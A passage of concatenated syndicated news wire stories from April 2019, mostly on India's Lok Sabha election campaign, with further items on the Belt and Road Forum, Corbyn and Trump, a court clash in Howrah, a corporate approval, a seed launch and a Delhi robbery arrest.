has the support of every section of the society, BJP candidates from the national capital Friday said and exuded confidence that they will emerge victorious on all the seven seats with a much higher margin than 2014. Taking a jibe at the Aam Aadmi Party (AAP), Union Minister and party's Chandni Chowk constituency candidate Harsh Vardhan said that the "pleading" done by the Delhi's ruling party for a pre-poll alliance with the Congress gives an indication that it was staring at a defeat. Hitting out at the AAP, Ramesh Bidhuri, party's South Delhi constituency candidate said those rejected by the people were pleading for an alliance with the Congress. "The BJP will win all seven seats with a bigger margin in 2019 than 2014," Bidhuri said. Harsh Vardhan echoed similar reactions. "Every section of the society, from youth to street hawkers, supports Modi. People, more than BJP workers, are eager to make Modi Prime Minister of the country again. BJP will win 2019 polls with more seats than in 2014," Vardhan said. The party candidates were interacting with reporters at the Delhi BJP office. All candidates except Parvesh Singh Verma were present at the event. Post BJP's victory, there will only be "rashtarvad" (nationalism), manavtavad (humanity) instead of naxalism, terrorism and regionalism, Vardhan said. Since May 12, the day of voting, falls on a Sunday, Vardhan urged voters to pre-pone their vacation and exercise their right. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Central and state governments have not only cheated people but also Saibaba by not releasing funds for a Rs 3,000 crore project to develop his shrine at Shirdi, Maharashtra Congress chief Ashok Chavan said Friday. Interacting with reporters here, Chavan said the project was sanctioned during the samadhi centenary celebration but neither the state or Centre had given even a single rupee so far. However funds of the Shri Saibaba Sansthan Trust (SSST) were being used by the government for its own schemes, he said. He hit out at the Prakash Ambedkar-led Vanchit Bahujan Aghadi and called it the "B team" of the BJP, alleging that it was choosing candidates to help the ruling party. Chavan said the speeches of Maharashtra Navnirman Sena chief Raj Thackeray would have an impact and prove damaging for the BJP. Speaking about Radhakrishna Vikhe Patil, the Maharashtra Congress chief said he had received complaints about the former campaigning for BJP candidates. These complaints would be passed on to the Congress president for further action, he said. The Congress had Thursday said Vikhe Patil had resigned as leader of opposition. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Congress Friday hit back at Finance Minister Arun Jaitley for his jibe at Priyanka Gandhi Vadra not contesting from Varanasi, saying it shows that the BJP was scared over the possibility of her being fielded from the temple town in Uttar Pradesh. The Congress on Thursday fielded Ajay Rai from Varanasi to take on Prime Minister Narendra Modi, ending speculation on a possible blockbuster electoral duel between Priyanka Gandhi and Modi. "The finance minister is angry, the prime minister is dejected. He expressed his desperation today. This atmosphere of dejection is prevailing in the BJP," Congress spokesperson Rajeev Shukla said. On Jaitley's remarks, he said it shows that they were "very scared that what if she comes". "If you remember she had made it clear from the first day that she wants to fight from Varanasi, but that the decision will be taken by the Congress president. It was the decision of the party high command and the Congress president," Shukla said. Taking a swipe at the Congress' decision of not fielding Priyanka Gandhi from Varanasi, Jaitley, in a Facebook post, said on Thursday, "Obviously, she quietly chickened out of the contest. I am deeply disappointed with the Congress party's decision of not fielding Priyanka from Varanasi". Asked if the Congress general secretary will contest elections from any other constituency in the future, Shukla said she is currently working hard to strengthen the party in Uttar Pradesh. "She is touring everyday, campaigning, doing road shows, addressing public meetings, meeting workers and meeting the people. Right now, she is focused on UP and after that in future what happens, we should wait for that," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Britain's main opposition Labour leader Jeremy Corbyn on Friday declined an invitation to a banquet with Donald Trump when the US president visits in June, accusing him of using "racist and misogynist rhetoric". Prime Minister "Theresa May should not be rolling out the red carpet for a state visit," Corbyn, a veteran left-winger and pacifist, said in a statement. Trump "rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric," Corbyn said, although he added that he would welcome a meeting with Trump during the June 3-5 visit. Corbyn said it was "disappointing that the prime minister has again opted to kowtow to this US administration". House of Commons speaker John Bercow, who has ruled out allowing Trump to address parliament, and Vince Cable, leader of the opposition Liberal Democrats, have already declined the invitation to the dinner. State dinners for visiting heads of state are usually held at Buckingham Palace and are lavish affairs. May invited Trump for a state visit when she visited him in January 2017 -- just days after he took office. The invitation proved controversial and an online petition to cancel it reached 1.9 million signatures. The president, a strong supporter of Brexit, travelled to Britain last year but only on a working visit without the pomp and ceremony associated with state visits. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Chief Justice of the Calcutta High Court directed on Friday that a suo motu writ petition be registered to scrutinise the recent clash at the Howrah district court between lawyers and municipal workers. Chief Justice T B N Radhakrishnan directed that the matter be placed before a division bench headed by him on Monday. Lawyers at the Howrah district court and the employees of the Howrah Municipal Corporation, which is located opposite to the court, clashed on Wednesday over vehicle parking. The lawyers alleged police highhandedness in controlling the situation. Several persons, including lawyers, were injured in the incident. The Chief Justice directed the registration of a suo motu writ petition for considering all aspects concerning the matter for protecting the premises of courts and to ensure that the due process in terms of the Constitution and the laws were obeyed and enforced in relation to the incident at Howrah. Justice Radhakrishnan had called for confidential reports on the incident. Passing the order, the Chief Justice observed that "the courts are constitutional forts of power and authority, from where judicial power is exercised on behalf of the Sovereign. The court premises are locations which are to be insulated from all sorts of intrusions, except as authorised by law". He also directed that the Union of India, the West Bengal government, the state chief secretary, home secretary and director general of police be made parties to the petition. The police commissioner of the Howrah Commissionerate and the commissioner of the Howrah Municipal Corporation were also to be made parties to the writ petition, the Chief Justice said. Lawyers at the high court and the district courts across the state are observing a ceasework in protest against the clash. The Bar Council of West Bengal had on Thursday urged the bar associations of all courts in the state to observe ceasework from Friday to Monday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Competition Commission of India has approved Canadian fund manager CDPQ's acquisition of compulsorily convertible debentures of Rs 1,800 crore in Edelweiss Group's non-banking financial services arm. Earlier in March this year, Edelweiss said CDPQ Private Equity Asia Pte, a wholly-owned subsidiary of CDPQ, and Edelweiss Group signed an agreement for the investment of Rs 1,800 crore (USD 250 million) in ECL Finance Ltd. ECL Finance is part of the Edelweiss Group and is registered with the Reserve Bank of India as a non-banking financial company. The Competition Commission of India (CCI) in a tweet on Friday said "it approves acquisition of compulsorily convertible debentures of ECL Finance Ltd by CDPQ Private Equity Asia Pte Ltd". The agreement with CDPQ will enable ECL Finance to capitalise on opportunities in the credit market and confirm the capability of the group to capture opportunities in the NBFC space, the group had said. Deals beyond a certain threshold require clearance from the fair trade regulator. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : Andhra Pradesh Chief Electoral Officer Gopal Krishna Dwivedi, who has been accused by Chief Minister N Chandrababu Naidu's of 'exceeding his jurisdiction' in implementing the Model Code of Conduct, asserted Friday that he was functioning strictly as per norms. "I will not react to what the Chief Minister wrote in the letter (to the Chief Election Commissioner). I will only implement the instructions issued by the CEC," Dwivedi told reporters here. The Chief Minister had written to the CEC Sunil Arora, alleging that the CEO was "exceeding his jurisdiction" in the name of implementing the Model Code of Conduct (for elections). Naidu, in particular, took exception to the bar being imposed on holding official review meetings and contended that the ECI has "no authority" to bar an elected government from discharging its legitimate duties entrusted by the Constitution of India. "I am not taking my own decisions. I am strictly going by the book and implementing the CECs orders," Dwivedi said when reporters sought his reaction. On the Chief Ministers charge that the ECI was discriminating against Andhra Pradesh, the CEO said he would not comment on political issues. "I am not concerned if MCC is being implemented or not in other states. The ECI will look into it. I have already circulated copies of the MCC to all political parties and candidates. I am only following whats in the MCC," the CEO asserted. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan Prime Minister Imran Khan on Friday announced plans to launch the next phase of the multi-billion dollar CPEC at the high-profile 2nd Belt and Road Forum (BRF) here as Beijing and Islamabad pressed ahead with the controversial project despite India's protests over sovereignty concerns. Khan was one of the main speakers of the BRF meeting aimed at highlighting China's multi-billion-dollar Belt and Road Initiative (BRI) in which the USD 60 billion China-Pakistan Economic Corridor (CPEC) is officially designated as the flagship project. The BRF, in which 37 heads of states and governments are taking part, was skipped by India over its objections to the CPEC. The US, which has in recent years emerged as a strong critic of the BRI alleging that it involved predatory financing leaving smaller countries in heavy, unsustainable debt, also stayed out of it. Khan's government itself was reported to have planned to cut down some of the CPEC projects soon after it came to power owing to concerns related to debt burden. Addressing the BRF, Khan said in a world of geopolitical uncertainty, rising inequality and barriers to trade, the BRI offers a model of collaboration, partnership, connectivity and shared prosperity. Pakistan has been among one of the BRI's earliest and most enthusiastic proponents, and CPEC is one of the major components and one of its earliest manifestations and it has made substantial progress, he said. Skirting India's criticism of the CPEC as well as its objections, Khan said that the CPEC has helped in Pakistan's progress specially filling the critical infrastructure gaps. "The presence of so many world leaders today is proof that we choose hope over despair and cooperation over confrontation. 122 states and 49 international organisations have signed on to the BRI's vision and this is historic and monumental development. "Together, Pakistan and China are entering the next phase of the CPEC, with greater emphasis on socioeconomic uplift, poverty alleviation, agricultural cooperation and industrial development," he said. Both the countries are signing an expanded Pakistan-China Free Trade Agreement, he said. He also mooted cooperation among the countries signed up to the BRI climate change cooperation. In the last five years, Pakistan successfully planted five billion trees in Khyber-Pakhtunkhwa province, he said, adding that Pakistan has launched a nationwide project to plant 10 billion trees in the next five years. He suggested that there should be some joint and ambitious projects of planting trees among the BRI countries to mitigate climate change. He also suggested the establishment of BRI tourism corridor to promote people-to-people contacts, inter-cultural understanding and most importantly to establish anti-corruption cooperation to combat the scourge of white collar crime. Khan has also mooted the creation of a poverty alleviation fund. Khan also thanked China and its leadership for the unwavering support to Pakistan. The deep-rooted friendship, partnership and brotherhood with China remain strong, resilient and unbreakable, he added. China is holding the BRF, which provides a platform to countries participating in the BRI, from April 25 to 27 here. The BRI is a multi-billion-dollar initiative launched by Chinese President Xi Jinping when he came to power in 2013. It aims to link Southeast Asia, Central Asia, the Gulf region, Africa and Europe with a network of land and sea routes. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chinese President Xi Jinping on Friday sought to allay the debt diplomacy concerns raised by India and the US over his trillion dollar Belt and Road Initiative (BRI), promising transparency, sustainability and zero tolerance to corruption in the costly infrastructure projects being funded by Beijing, specially to smaller countries. The BRI is President Xi's signature global infrastructure policy. First announced in 2013, the project promises to build ports, roads and railways to revive the ancient Silk Road and create new trade corridors linking China to Asia, Africa and Europe. Addressing to the 2nd Belt and Road Forum (BRF) attended by 37 heads of state and governments including Russian President Vladimir Putin and Pakistan Prime Minister Imran Khan besides officials from 150 countries and international organisations, Xi said China wants to build the BRI projects based on "open, green and clean cooperation". India, like the first BRF meet in 2017 has skipped the Friday meeting as protest over the USD 60 billion China-Pakistan Economic Corridor (CPEC) being laid through Pakistan- occupied Kashmir. The CPEC, which connects the strategic Gwadar Port in Pakistan's Balochistan with China's Xinjiang province, is the flagship project of the BRI. This time, the US also joined India in skipping the BRF. The Trump administration has been extremely critical of the BRI and is of the view that China's "predatory financing" is leaving smaller counties under huge debt and endangering their sovereignty. Notwithstanding the global concerns, China has mobilised by far larger gathering of heads of state and government this time compared to the first BRF meeting held in 2017 during which 29 heads of state attended. This time the gathering included its BRI critics of the past Malaysian Prime Minister Mahathir Mohamad, who renegotiated a over USD 19 billion rail project to be built with Chinese funding and brought the costs by USD 10.7 billion by reducing the length of the 648 km rail line by 40 kms. The project was signed by his previous government headed by Nazib Razak who is on trial for corruption. Prime Minister Khan himself was critical some of the CPEC projects and wanted to cut the size of the USD 8 billion Karachi-Peshawar rail line, the biggest project under the CPEC, by USD 2 billion. In his speech, Xi, also General Secretary of the ruling Communist Party of China, allayed fears that China was using the BRI as a geopolitical tool to attain superpower status. He said the BRI is "not an exclusive club". "Everything should be done in a transparent way and we should have zero tolerance for corruption," Xi said. Xi said China will not engage in beggar-thy-neighbour currency devaluation. China will continue to improve the exchange rate formation mechanism of its currency, the renminbi, and keep the exchange rate generally stable on a reasonable and balanced level, he said. Xi said the joint building of the Belt and Road projets has opened up new space for the world's economic growth and it has also created a new platform to boost international trade and investment, expanded new practices to optimise global economic governance, and made new contributions to improving people's well-being in all countries. China on Thursday signalled that it is seeking to address the concerns of debt financing with a promise of "sustainable financing" for smaller countries to ease debt burden. Concerns over BRI financing became vocal after China acquired Sri Lanka's strategic Hambantota port on a 99-year lease as a debt swap in 2017. China is doling out huge sums of money for infrastructure projects in countries from Asia to Africa and Europe, enhancing its global influence. Unlike his 2017 speech to the first BRF during which he announced about USD 124 billion additional financing for the BRI projects, Xi's address this year did not contain any monetary announcements pledging fresh capital for the projects. His speech highlighted on 'co-development' focussing more on deflecting criticism and doubts about the multibillion-dollar initiative. Xi delivered his speech just hours after an announcement by President Trump that the Chinese president would visit the White House "soon". Some of the measures announced in Xi's speech have been under lengthy discussions during the trade talks with the US, the Hong Kong-based South China Morning Post reported. In his address, Xi vowed to abolish subsidies to firms that impede fair competition -- addressing a major bone of contention in US trade talks. He promised to prohibit forced technology transfer and said China will be protecting legitimate rights and interests of foreign owners of intellectual property rights. China will allow foreign investors to operate businesses in more sectors with controlling or full stake. China will also negotiate and sign high-standard free trade agreements with more countries, Xi added. China will work with other parties to promote a coalition of sustainable cities and an international coalition for green development under the BRI, he said. He said China will increase imports of goods and services on a larger scale. China will further lower its tariff rates and continuously open up its market and welcome quality products from around the world. He also called on all countries to create a sound investment environment and treat Chinese enterprises, students and scholars abroad as equals, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The apex child rights body has asked the West Bengal chief secretary to inspect child care institutions run by an NGO in the state and ascertain if the children are being subjected to any maltreatment or abuse in these facilities. In a letter to the West Bengal Chief Secretary, National Commission for Protection of Child Rights (NCPR) chairperson Priyank Kanoongo asked the state to also find if children living in these homes are made to learn specific religious text regardless of their will or choice. The state official has been requested to submit a detailed Action Taken Report to the Commission on or before the May 2. The Commission said it has put off for now its earlier scheduled visit to inspect homes/hostels run by NGO Good India in West Bengal between April 25-27 following a request from state authorities which cited preoccupation with the ongoing Lok Sabha polls. Kanoongo said the Commission had earlier sought information about the other homes/hostels run by the NGO from Superintendent of Police, Dhenkanal. The findings of earlier inspection in Odisha were that the conditions were appalling and the manner in which these establishments were operated was despicable and unpardonable, said Kanoongo. In view of these findings and on the information shared by the SP, Dhenkanal, the Commission deemed it an absolute and immediate necessity for the inspection of other Homes/hostel in West Bengal and accordingly scheduled a visit for the same during the period of April 25-27, he said. In view of the ongoing Lok Sabha elections, the Commission communicated to the Deputy Election Commissioner, Election Commission of India regarding the proposed scheduled visit of representatives of the Commission to the Homes. "The Chief Electoral officer, Government of West Bengal was also intimated about the visit. As no objection came from ECI, the Commission decided to proceed according to planned schedule," he said in the letter. In view of the request from Joint Secretary to the Government of West Bengal to reschedule the proposed visit of the Chairperson and the Member and their team citing reasons of non possibility of arrangements for security, accommodation and transport due to election related duties, the Commission has now temporarily called off its tour to the state of West Bengal. The Commission said the homes/hostels running in West Bengal are of the same NGO Good India, therefore, there might be chances of similar kind of malpractice in these institutions at West Bengal that has come to notice during the Odisha inspection visits. "The children might be at risk and an early intervention is required in this matter. Therefore, the timely inspection of these Homes/ Hostels is required in accordance with JJ Act 2015. The Commission requests you to conduct a diligent inspection of these Homes, including focused interaction with children," he said. The NCPCR has also asked the probe to focus on whether all children residing in the homes are made to learn specific religious text regardless of their will or choice and whether any kind of maltreatment or abuse with children is happening there. Based on the findings during the inspection of homes, including all serious issues and shortcomings, the Chief Secretary has been requested to submit a detailed Action Taken Report to the Commission on or before the May 2. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress candidate from Patiala Preneet Kaur has declared assets worth Rs 5.13 crore while filing nomination papers on Friday for the Lok Sabha elections. The 74-year-old former Union minister is the wife of Punjab Chief Minister Amarinder Singh. She is pitted against sitting MP and Nawan Punjab Party (NPP) nominee Dharamavira Gandhi, SAD candidate Surjit Singh Rakhra and AAP's Neena Mittal. According to the affidavit, Preneet declared movable and immovable assets of Rs 3.37 crore and Rs 1.76 crore respectively. Her husband's assets were worth Rs 6.13 crore, while assets of Amarinder Singh HUF (Hindu Undivided Family) were valued at Rs 63.17 crore. Among movable assets, Preneet Kaur owns Innova worth Rs 11.62 lakh, while her husband does not have a vehicle. She has declared gold jewellery and precious stones worth Rs 33.18 lakh and the chief minister has gold jewellery worth Rs 36.11 lakh, stated the affidavit. Preneet Kaur, Amarinder Singh and Amarinder Singh HUF have immovable properties in Shimla, Haridwar, Mohali and Moti Bagh Palace in Patiala. The former minister has a Bachelors in Arts (BA) degree that she completed from St Bedes College, Shimla in 1964. Earlier in the day, Amarinder Singh, who was in Patiala, accompanied Preneet Kaur to the office of the deputy commissioner-cum-returning officer for filing nomination papers for the Lok Sabha elections. Amarinder Singh's son Raninder Singh, daughter Jai Inder Kaur and grandson Nirvan were also in Patiala on the occasion. Meanwhile, Punjab Congress chief and sitting MP Sunil Jakhar Friday also filed his nomination papers from Gurdaspur parliamentary constituency. The 65-year-old Congress leader declared total assets to the tune of Rs 4.41 crore in his affidavit. He was accompanied by the chief minister and local Congress leaders while filing his papers. He also declared his spouse's assets worth Rs 20.75 crore. Having shown himself as an agriculturalist, Jakhar disclosed cash in hand, bank deposits, gold jewellery and investments worth Rs 1.53 crore. He has immovable assets of Rs 2.88 crore. Jakhar is pitted against Bollywood actor and BJP candidate Sunny Deol from Gurdaspur seat. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Congress lodged a complaint with the Delhi Chief Electoral Officer (CEO) on Friday against AAP supremo Arvind Kejriwal for allegedly making a "communal" statement and demanded that he be barred from campaigning for the ongoing Lok Sabha polls. A delegation led by party leader Sandip Dikshit, son of Delhi Congress president and North East Delhi candidate Sheila Dikshit, met the CEO and submitted a memorandum against Kejriwal. At a press conference on Thursday, the Delhi chief minister had said the Congress was not getting a single Hindu vote in the parliamentary polls while Muslims were a little confused. "The Congress is trying to weaken the opposition in different states -- whether it is Kerala, Haryana, Goa, West Bengal or Uttar Pradesh. But I hope that people from all religions, who want to save the country, would unite and vote for the AAP," he had said. The Congress delegation alleged that Kejriwal asked the "Muslim voters" not to vote for the Congress in the Lok Sabha polls as the party was not getting a "single Hindu vote". Dikshit told reporters after meeting the CEO that the Congress had demanded that the Aam Aadmi Party (AAP) chief be barred from poll campaigning as he was "trying to stoke a communal divide" through his "irresponsible and inciting" utterances. "Kejriwal's statement is highly communal and illegal in nature, and is intended to divide the Hindu and Muslim votes, and attract the voters along communal lines," the Congress's memorandum said. Dikshit demanded "strong action" against the Delhi chief minister for his alleged "communal and provocative" statement. "The Election Commission should take cognisance of Kejriwal's highly explosive statement and he should be banned from election campaigning," he said. The delegation also included Delhi Congress leader Mangat Ram Singhal, spokespersons Ramakant Goswami and Jitendra Kochar, and Onika Mehrotra. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Days ahead of the fourth phase of the Lok Sabha elections, Uttar Pradesh cabinet minister and BJP's Kanpur candidate Satyadev Pachauri Friday claimed that the Congress has "never made" national security a poll issue, which his party has done and will "immensely benefit" from it. The Kanpur nominee also claimed that there is a "bigger Modi wave" in the country this year and that the saffron party will return to power with a "thumping majority". "The Balakot air strike demonstrated that our government at the Centre is serious about the issue of terrorism and accords importance to national security. And that is why national security and nationalism will be the overriding sentiments during the polls. This election is being fought by us now on a much larger perspective than just local issues," Pachauri told PTI in an interview. He also said Prime Minister Narendra Modi's stature among the people of the country "ramped up" after the air strike. The micro, small and medium industries minister of Uttar Pradesh is pitted against former Union minister and senior Congress leader Sriprakash Jaiswal, and SP candidate Ram Kumar in the Kanpur Lok Sabha seat, which goes to polls on April 29 in the fourth phase of the parliamentary elections. "Congress has never made national security an electoral issue," the minister alleged, adding, "Our party, under the leadership of PM Modi, has rightly made the issue of terrorism and national security an electoral issue and this will immensely benefit the BJP in this election." Asked if there was a 'Modi wave' this time, Pachauri claimed that there is a "much bigger wave" as compared to 2014. "We will win Kanpur with a huge vote margin, win more seats in UP than last time, and return to power at the Centre with a thumping majority," he claimed. Both Pachauri (71) and Jaiswal (74) are from Kanpur and actively campaigning, and with the SP-BSP alliance candidate Ram Kumar in the fray, it is a triangular contest in this crucial constituency. Pachauri though claims that he has an "upper hand" and the "deposits of the two rival candidates will be forfeited". A section of residents, however, said otherwise. Locals said there will be a "keen contest" between him and Jaiswal, a three-time MP from Kanpur, who had pipped Pachauri in the 2004 general elections with a margin of 5,638 votes. Pachauri, an MLA from Govind Nagar, said he might have lost the 2004 polls marginally but with the 2014 elections and the "Modi factor" coming into play, his "fortunes will be reversed" this time. The UP cabinet minister, in fact, uses '#KanpurMangePachauri' slogan in his campaigns online and on the ground. Asked what Kanpur actually wants, he said, "Kanpur wants clean and green city, proper traffic management system, proper solid waste management system and Kanpur Metro, and I will facilitate all of that once I become the MP." On a question if party veteran and sitting MP M M Joshi would be joining his campaign, Pachauri said, "Yes, he will come at the appropriate time."Joshi had won from the Kanpur seat in the 2014 general elections, defeating Sriprakash Jaiswal with a margin of 2,22,946 votes. The state minister said Kanpur has about 17 lakh voters and nearly 3 lakh of them are Muslims. He claimed that there was no "polarisation of votes in this constituency". Earlier in the day, he held a press conference here and said, "This election is being fought on the grounds of nationalism and not casteism and nepotism. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former Haryana chief minister Bhupinder Singh Hooda on Friday claimed that the basic ideas enshrined in the Constitution was under threat in the rule of the BJP government. Speaking to party workers at the Congress office here, Hooda, who is contesting in the Sonipat Lok Sabha seat, said the people of Jind-Sonipat would play a decisive role in giving a new direction to the future of the country. "The 2019 Lok Sabha election is extraordinary as the Constitution framed by B R Ambedkar and other founding fathers is under threat," Hooda said. "The basic ideas enshrined in the Constitution are under threat under the BJP-led government at the Centre." Talking about Jind, Hooda said when the Congress formed the government after winning the 2005 assembly election, three ministerial berths were given to leaders from the district. "I (as the CM) did whatever they asked me to do for the district. If there is something that still needs to be done, I would do my best to fulfil them as your representative. I share a special bond with the people of the region as my mother was also from this district," the Congress leader said. Hooda reminded the people about the 2002 Kandela incident when nine farmers were killed in police firing during the rule of the Indian National Lok Dal (INLD). "When the farmers (demanding waiver of outstanding power bills) were fired upon by the then O P Chautala government, I was the first one to come here and was ready to take a bullet for you. I walked from Jind to Delhi to put a brake on the tyranny of the then state government," he said. "When we formed the government in 2005, I called officials and told them that I want to waive the pending electricity dues. The officials were reluctant to do so, considering the poor financial condition of the state, but even then we waived electricity bills of Rs 1,600 crore," Hooda said. The former chief minister said he would ensure that the farmers become debt-free again if the Congress comes to power in Haryana in the assembly election later this year. Hooda accused the Bharatiya Janata Party (BJP) of being anti-poor and anti-farmer. "I want to ask the government that if loans worth Rs 2.5 lakh crore of the 10 richest people in India can be waived, then why can't the loans of the farmers be waived?" he asked. "When the Congress was in power, there was no tax on fertilisers, pesticides and tractor spare parts, and price of petroleum products was the lowest in the country. But the BJP government has imposed heavy taxes on these items," he said. The Congress leader claimed that traders and small businesses were in a state of ruin because of the "twin-blows" of demonetisation and the "hastily-implemented" goods and services tax (GST). Hooda also hit out at the BJP over the alleged poor law-and-order situation in Haryana, claiming that it had become one of the most-peaceful states in the country when the Congress was in power. "But now, it has become notorious for incidents of loot, dacoity, rape and other crimes against women," he added. The Congress leader is pitted against the ruling BJP's sitting MP, Ramesh Chander Kaushik, and Digvijay Chautala, who had formed the Jannayak Janata Party recently after splitting from the INLD. The 10 Lok Sabha seats of Haryana goes to polls on May 12. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Corteva Agriscience, the agriculture division of US-based chemical firm DowDuPont, Friday introduced a new seed brand 'Brevant' for corn farmers in the country. Farmers of Gujarat, Karnataka, Madhya Pradesh, Maharashtra, Rajasthan and Telangana are now able to access Brevant corn seeds through select business partners in each state, it said in a statement. The company plans to further expand distribution to more corn-growing states across India to provide farmers more choice and more access to its seed products, it said. Corteva Agriscience Managing Director (South Asia) K V Subbarao said the introduction of this new brand addresses their different growing needs and buying preferences. The commercial and technical teams will work closely with select business partners to offer the best technology and services to farmers in Gujarat, Karnataka, Madhya Pradesh, Maharashtra, Rajasthan, and Telangana, he said. Subbarao further said, "Over 90 years, Corteva Agriscience heritage companies have amassed one of the largest, most robust germplasm libraries for corn. Brevant seeds leverages this history in seed innovation." In addition to Pioneer brand seeds, the introduction of Brevant seeds to the Indian market will enable Corteva Agriscience to continue to offer India's farming communities access to products from one of the broadest and most-diverse seed portfolios in the world, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A husband-wife duo and their juvenile associate were arrested for allegedly looting a woman of her cash and jewellery at gunpoint in southeast Delhi's New Friends Colony last month, police said Friday. The accused couple were identified as Jubair (23), wanted criminal of Western UP, and Huda (21), residents of Aligarh and their associate Adnan (20), a resident of Ghaziabad, they said. Jubair had shifted his base from Aligarh to Delhi in past few months and was looking forward to extend his area of operations and was involved in several heinous crimes including murder, police said. The looting incident took place on March 5, when the 35-year-old woman along with her husband and two children was returning home on their motorcycle after visiting a bank at New Friends Colony area, police said. In her complaint, the victim alleged that she withdrew Rs 1 lakh and kept the money in her hand bag, in which Rs 35,000 were already kept. At around 12:10 pm, when they reached near Ashoka Park, three-bike borne men followed them and stopped their motorcycle, Chinmoy Biswal, Deputy Commissioner of Police (southeast) said. The accused robbed the bag and gold chain of the victim on gunpoint and fled from the spot, he said. In one of the CCTV footage, movement of a male and female was found suspicious in the bank. Investigations revealed that the alleged persons who were seen suspiciously moving in the bank, had no bank account or any other work in the said bank. They were later identified as Huda and Jubair, he said. Following a tip-off, Jubair was arrested on April 18 from his flat at Zakir Nagar in Jamia Nagar and a country made pistol and four live cartridges were recovered from his possession. Subsequently, his wife Huda was arrested from Chattarpur, he added. Huda and her juvenile associate were looking for target in the bank premises and they spotted the victim withdrawing cash after which she informed her husband Jubair on the phone, who along with other gang members, Salman and Adnan, were waiting outside the bank. Thereafter, accused persons intercepted the bike of the victim and robbed her on gun point, the officer said. Earlier, Adnan was arrested on April 24 from Aligarh following a brief chase where in he also opened fire on police team before being held. One country made pistol and three three live cartridges were recovered from his possession, the DCP said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Communist Party of India (Marxist-Leninist)-Liberation on Friday flayed the BJP for fielding Sadhvi Pragya in the general elections and charged the party with having helped the Hindu extremist leader in securing bail on the basis of a false claim of illness. Addressing a press conference here, CPI(ML)-Liberation secretary general Dipankar Bhattacharya said the BJP has no other strategy except polarization of voters by triggering communal frenzy. Sadhvi Pragya Thakur has been a symbol of the Sangh brand of terrorism. Her getting a party ticket from Bhopal has to be seen in this light. She sought bail with the false claim of illness. Her claim of having suffered from cancer is also being disputed, the ultra- Left leader said referring to the Sadhvis claim that she was cured of the deadly ailment with the help of a therapy that involved the use of gau mutra (cow urine). Many medical experts have come out with statements rubbishing the Sadhvis claims and adding that tests conducted on her never showed that she suffered from cancer and that there has been no scientific evidence to demonstrate the efficacy of gau mutra in treating the disease. Moreover, the candidature of Sadhvi Pragya exposes the duplicity of the BJP which has been stoutly opposed to Lalu Prasad getting bail even though the ageing RJD supremo is suffering from multiple ailments. The jailed leader is not even being allowed to meet his family members, Bhattacharya alleged. Notably, the RJD though not having any truck with the Left parties is supporting the CPI(ML) candidate in Ara, which is currently held by Union minister and BJP leader R K Singh. The ultra-Left outfit has responded by announcing that it would support Prasads eldest daughter Misa Bharti in Pataliputra. Bhattacharya also lambasted Union minister Giriraj Singh, the BJP candidate from Begusarai, for his recent advocacy of a ban on green flags and asked does it not mean that he and his party hate farmers, since many peasants outfits have emblems of the same colour. The firebrand BJP leader had recently said that parties should be restrained from having flags that were green in colour stating these reminded people of Pakistan and Islamic extremism. As if that was not enough, Giriraj came out with another outrageous statement about Muslims not reciting Vande Mataram and needing land for burial, Bhattachary said referring to the Union ministers latest statement which has led to his being booked for violating model code of conduct. He also said the Election Commission has been found wanting in clamping down on such brazenly communal be it in Bihar or neighboring Uttar Pradesh. Bhattacharya also accused Chief Minister Nitish Kumar of having surrendered before the BJPs agenda and looking sideways in the face of incidents of mob lynching and communal riots. We are contesting the Siwan seat where the JD(U) is functioning like an extended arm of Yogi Adityanaths Hindu Yuva Vahini. Attempts are being made to import the UP Chief Ministers Gorakhpur model into Bihar, Bhattacharya alleged. The JD(U) has fielded its young MLA Kavita Singh from Siwan, where the wife of former RJD MP and dreaded gangster Mohd Shahabuddin is also in the fray. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Curbing insurgency in the Northeast has been his biggest achievement as home minister, according to Rajnath Singh who says Naxal violence in the country is also on the wane. The Union home minister asserts that BJP will come back to power with a thumping majority as people want the good governance of the Narendra Modi dispensation to continue. "The way Modiji has led the country at national and international levels in the last five years, there is not an iota of doubt about our win with three-fourths majority in these polls," he claims. Singh says as home minister, he worked, among other things, towards curbing insurgency in the Northeast and Naxalism in parts of the country. "Insurgency in Northeast is almost finished. We are now in the most favourable position since 1971, when more security personnel used to get killed than Naxals. Now the trend has reversed... Our security forces have been giving a befitting reply and eliminating Naxals," he told PTI in an interview. Earlier Naxals operated in 126 districts, but now their activities are limited to just six-seven districts, he says. "We are quite sure that in coming days, we will root them out. The elimination of insurgency in the Northeast has been my biggest achievement as home minister...even beyond my expectations," the former chief minister of Uttar Pradesh says. He also says that as home minister, he made maximum number of visits to Jammu and Kashmir and tried to find a long-term solution to the region's problems, though it could not yield the desired results. "Now, time has come to review articles 35A and 370 of the Constitution (providing special status and rights to the state and its citizens) and assess what Jammu and Kashmir got and what it lost due to these two provisions," he says. "My ministry also revoked the registration of 20,000 organisations which used to get money from overseas, under the Foreign Contribution (Regulation) Act, and were involved in activities which were not in the interest of our country," he says. Singh says he does not believe that Modi's persona is overshadowing the work of other lawmakers and ministers. "Whatever ministers or MPs do, they do it after getting the team leader's consent, it is but natural. All policy decisions are taken under the chairmanship of the prime minister. So, saying that the work of other ministers or MPs is overshadowed is not right," he says. "People are smart enough and politically aware. They have their own parameters to gauge public representatives' records and performances," he adds. To a query why the BJP's campaign has no mention of demonetisation and GST, Singh, who headed the party's manifesto committee, says they are no longer poll issues. "Their (positive and expected) results have started surfacing. GST has been simplified several times and we have made it abundantly clear that whenever there is a need, we will come up with more simplifications so that the business class does not suffer," he says. 